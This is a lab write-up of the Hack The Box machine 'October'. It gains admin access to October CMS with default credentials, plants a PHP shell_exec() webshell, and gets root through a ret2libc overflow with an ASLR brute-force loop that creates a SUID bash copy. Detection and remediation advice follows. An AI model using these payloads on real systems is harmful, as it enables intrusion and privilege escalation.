Skip to content
Back to all posts

HTB: October

· 18 min medium Linux October

Default credentials on October CMS grant admin access, the code editor provides RCE as www-data, and a 32-bit SUID buffer overflow with ASLR brute-force delivers root in under ten seconds.

Overview

October is a medium-rated Linux box running Ubuntu 14.04.5 LTS on a 32-bit i686 kernel. The web service hosts an October CMS instance with default credentials (admin:admin) on the backend login page. From the admin panel, the CMS page editor accepts arbitrary PHP in the code section, providing remote code execution as www-data. Privilege escalation targets a custom SUID binary at /usr/local/bin/ovrflw: a 32-bit ELF that calls strcpy() without bounds checking. The binary has no PIE and no NX, but ASLR is active system-wide. A ret2libc payload brute-forces the approximately 290 possible libc base addresses and produces a root shell within ten seconds.

The box pairs a trivial web application misconfiguration with a proper binary exploitation exercise. The CMS access is almost embarrassingly easy; the buffer overflow requires understanding ret2libc, ASLR entropy on 32-bit systems, and the distinction between bash and dash in non-interactive contexts.

Reconnaissance

nmap -sC -sV -T4 10.129.96.113
PortServiceProduct / VersionNotes
22SSHOpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13Ubuntu 14.04 banner
80HTTPApache 2.4.7 (Ubuntu)October CMS, Rainlab Vanilla

Two open ports. The HTTP title immediately identifies October CMS with the Rainlab Vanilla theme. Response headers disclose the PHP version:

curl -sI http://10.129.96.113/
# X-Powered-By: PHP/5.5.9-1ubuntu4.21
# Server: Apache/2.4.7 (Ubuntu)

PHP 5.5.9 reached end-of-life in July 2016. The version string also confirms Ubuntu 14.04 (the 1ubuntu4 suffix maps to Trusty Tahr’s PHP packaging).

Attack Surface Analysis

October CMS backend

The backend login page sits at /backend/backend/auth, the standard October CMS administrative path. No robots.txt disallows this URL. There is no account lockout, no CAPTCHA, and no MFA.

October CMS ships with a default admin:admin account that administrators are expected to change after installation. On this box, it was never changed. I tried admin:admin first because it is the documented default; no brute- forcing was necessary.

Custom SUID binary

Post-exploitation enumeration reveals /usr/local/bin/ovrflw, a SUID root binary:

find / -perm -4000 -type f 2>/dev/null | grep -v snap
# /usr/local/bin/ovrflw

The name itself hints at its purpose. This becomes the privilege escalation target after obtaining local access through the CMS.

Vulnerability Analysis

Default credentials (CWE-1393)

AttributeValue
CWECWE-1393 (Use of Default Credentials)
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Root causeDefault admin:admin never changed after installation
ImpactFull administrative CMS access; leads directly to RCE

The CVSS score reflects that no authentication, user interaction, or special conditions are required. An attacker with network access simply types the default password.

CMS code editor RCE (CWE-94)

October CMS allows administrators to write PHP in the “code” section of CMS pages. This code executes server-side within the page lifecycle: the onStart() method fires before the page renders. This is intended functionality, not a vulnerability in isolation. When combined with compromised credentials, it becomes a direct code execution primitive.

The critical distinction: PHP code must be in the code section (between == delimiters), not the markup section. Markup renders through the Twig template engine and does not execute PHP. I initially placed the PHP in the markup section and spent several minutes debugging before realising the mistake. The October CMS documentation explains this architecture, but under time pressure it is easy to conflate the two sections.

SUID buffer overflow (CWE-120)

AttributeValue
CWECWE-120 (Buffer Copy without Checking Size of Input)
CVSS 3.17.0 (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
Binary/usr/local/bin/ovrflw, 32-bit ELF, SUID root
Root causestrcpy() copies argv[1] to a fixed-size stack buffer
MitigationsASLR active (randomize_va_space=2); no PIE, no NX

ASLR on 32-bit i686 provides approximately 8 bits of entropy for shared library mappings. The libc base varies across roughly 290 positions at 0x1000 alignment. This is too low to prevent brute-force: even a serial loop completes in seconds. A 64-bit system would have 28+ bits of entropy (over 250 million possible positions), making the same attack computationally infeasible.

The AC:H (high attack complexity) in the CVSS score reflects the ASLR requirement, but on a 32-bit system the practical complexity is negligible.

Exploitation

Step 1: Admin access via default credentials

curl -s -c cookies.txt -b cookies.txt \
    -d "login=admin&password=admin" \
    http://10.129.96.113/backend/backend/auth/signin
# HTTP/1.1 302 Found
# Location: http://10.129.96.113/backend

The 302 redirect confirms successful authentication. The session cookie grants full administrative access to October CMS.

Step 2: RCE via CMS page code editor

I create a new CMS page through the backend editor. The theme must match the active installation; “rainlab-vanilla” is the correct theme name. Using any other theme name (e.g. “demo”) returns an error: “The object you’re trying to access doesn’t belong to the theme being edited.”

Code section (between == delimiters):

function onStart()
{
    $this["output"] = shell_exec(input("cmd"));
}

The shell_exec() function executes a command via /bin/sh and returns stdout as a string. October CMS’s input() helper reads query parameters from the request.

Markup section:

{{ output }}

The page is saved with URL /shell. Verification:

curl -s "http://10.129.96.113/shell?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl -s "http://10.129.96.113/shell?cmd=cat+/home/harry/user.txt"
# [redacted]

User flag obtained. The www-data user can read harry’s home directory because the file permissions are world-readable.

Step 3: SUID buffer overflow with ASLR brute-force

From the www-data webshell, I upgrade to a proper reverse shell and analyse the SUID binary:

ls -la /usr/local/bin/ovrflw
# -rwsr-xr-x 1 root root 7377 Sep 24  2017 /usr/local/bin/ovrflw

file /usr/local/bin/ovrflw
# ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped

cat /proc/sys/kernel/randomize_va_space
# 2

The binary is dynamically linked (uses libc) and not stripped (symbols are available). randomize_va_space=2 confirms full ASLR: stack, heap, and shared library positions are randomised on each execution.

Finding the EIP offset

/usr/local/bin/ovrflw $(python -c 'print "A"*112 + "BBBB"')
# Segmentation fault

dmesg | tail -1
# ovrflw[...]: segfault at 42424242 ip 42424242

EIP is overwritten at offset 112 bytes. The 42424242 value (ASCII “BBBB”) in the instruction pointer confirms precise control of the return address.

Extracting libc offsets

The ret2libc technique requires three addresses from libc: system(), exit(), and the string "/bin/sh". Since the binary is dynamically linked, these exist in the loaded libc at fixed offsets from its base address.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"
# 1457: 00040310   56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"
# 141: 00033260   45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
# 162bac /bin/sh

The ret2libc payload structure on the stack: [112 bytes padding] [&system()] [&exit()] [&"/bin/sh"].

The exit() address serves as the return address for system(). Without it, the process would crash after system() returns. While a crash would not prevent exploitation, a clean exit avoids unnecessary noise in logs.

Determining the ASLR range

Running ldd repeatedly against the binary shows the libc base varying between 0xb7540000 and 0xb7660000:

for i in $(seq 1 20); do ldd /usr/local/bin/ovrflw | grep libc; done
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7578000)
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7618000)
# ...

The brute-force

Because system() invokes /bin/sh -c, and Ubuntu’s /bin/sh is dash (not bash), I cannot rely on bash-specific features. The payload creates a SUID copy of /bin/bash via a helper script:

cat > /tmp/r.sh << 'EOF'
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF

The brute-force loop iterates through all possible libc base addresses:

for BASE in $(seq 0xb7540000 0x1000 0xb7660000); do
    SYS=$((BASE + 0x40310))
    EXT=$((BASE + 0x33260))
    BSH=$((BASE + 0x162bac))
    PAYLOAD=$(python -c "
import struct
print 'A'*112 + struct.pack('<I',$SYS) + struct.pack('<I',$EXT) + struct.pack('<I',$BSH)
")
    echo ". /tmp/r.sh" | /usr/local/bin/ovrflw "$PAYLOAD" 2>/dev/null
    [ -f /tmp/rootbash ] && echo "[+] Hit at base $BASE" && break
done

When system("/bin/sh") executes with the correct libc base, dash reads . /tmp/r.sh from stdin, sourcing the helper script. The script runs as root (SUID binary context) and creates /tmp/rootbash with the SUID bit set.

Within approximately ten seconds, the correct base is found:

ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 986672 ... /tmp/rootbash

/tmp/rootbash -p -c "cat /root/root.txt"
# [redacted]

The -p flag is critical. Without it, bash drops SUID privileges on startup as a security measure. The -p flag preserves the effective UID, maintaining root access.

Root flag obtained.

Post-Exploitation

uname -a
# Linux october 4.4.0-78-generic #99~14.04.2 i686 i686 i686 GNU/Linux

cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"

32-bit Ubuntu 14.04.5. Every component is end-of-life: PHP 5.5.9 (EOL July 2016), Apache 2.4.7 (Ubuntu 14.04 support ended April 2019), the kernel itself. Kernel 4.4.0-78 post-dates the DirtyCow fix (patched at 4.4.26), but the system receives no further security updates.

The ovrflw binary is a teaching tool. The combination of no PIE, no NX, and 32-bit ASLR makes it exploitable through multiple techniques: ret2libc (used here), NOP sled with shellcode (NX is disabled, so the stack is executable), or ROP chains. The low ASLR entropy is the critical factor; 290 attempts is trivially brute-forceable regardless of which technique is chosen.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1078.001Successful login with default credentials at /backend
ExecutionT1059.004sh spawned as child of Apache worker process
Privilege escalationT1068Repeated segfaults from ovrflw in kernel logs (ASLR brute)

Host-level: The ASLR brute-force generates hundreds of segfaults in rapid succession. Each crash produces a kernel log entry via the segfault handler. Any monitoring system watching dmesg or /var/log/kern.log for segfault patterns would detect this immediately. The brute-force also creates a distinctive process spawning pattern: hundreds of short-lived ovrflw invocations within seconds, each crashing at the same instruction.

Application-level: October CMS logs backend authentication events. A successful login with admin:admin from an unexpected source IP is trivially detectable. The creation of a new CMS page containing shell_exec() or similar functions in the code section would be visible in the CMS audit log and on the filesystem (October CMS stores pages as flat files in the theme directory).

Remediation

PriorityActionEffortImpact
P0Change default CMS credentials; enforce strong passwordsLowCritical
P0Remove SUID bit from /usr/local/bin/ovrflwLowCritical
P0Upgrade Ubuntu 14.04 to a supported releaseHighCritical
P1Recompile ovrflw with stack canaries, PIE, and NXMediumHigh
P1Add account lockout to the CMS backendMediumHigh
P2Upgrade PHP to 8.xMediumMedium
P2Remove X-Powered-By header from Apache configurationLowLow

The buffer overflow is a symptom of a deeper problem: custom SUID binaries compiled with unsafe C functions. Removing the SUID bit eliminates the immediate risk. If the binary must retain elevated privileges, it should be recompiled with modern protections: stack canaries via -fstack-protector-all, position-independent code via -fPIE -pie, and NX via default linker settings. The source should replace strcpy() with strncpy() or strlcpy(). On a 64-bit system with full ASLR, the ret2libc brute-force becomes infeasible, but relying on ASLR alone is defence in depth, not a primary control.

Key Takeaways

  1. Default credentials remain the most common initial access vector. The October CMS admin:admin account is documented in every installation guide. Attackers try default credentials before anything else; automated scanners check for them. The fix is trivial (change the password), but the failure to do so is an operational discipline problem, not a technical one.

  2. 32-bit ASLR is a speed bump, not a barrier. With approximately 290 possible libc base addresses, a brute-force loop completes in seconds. This is why 64-bit is the minimum acceptable architecture for any system exposed to local exploitation. The additional 20+ bits of ASLR entropy on x86_64 transforms a ten-second attack into one requiring weeks of continuous execution.

  3. Ubuntu’s /bin/sh is dash, not bash. The system() libc function invokes /bin/sh -c, and on Ubuntu /bin/sh symlinks to dash. Dash ignores BASH_ENV and only sources ENV in interactive mode. This matters for ret2libc payloads: environment variable tricks that work with bash fail silently under dash. The workaround is piping commands to stdin or creating a helper script, as demonstrated here. The -p flag for preserving SUID privileges is likewise bash-specific; dash drops privileges unconditionally.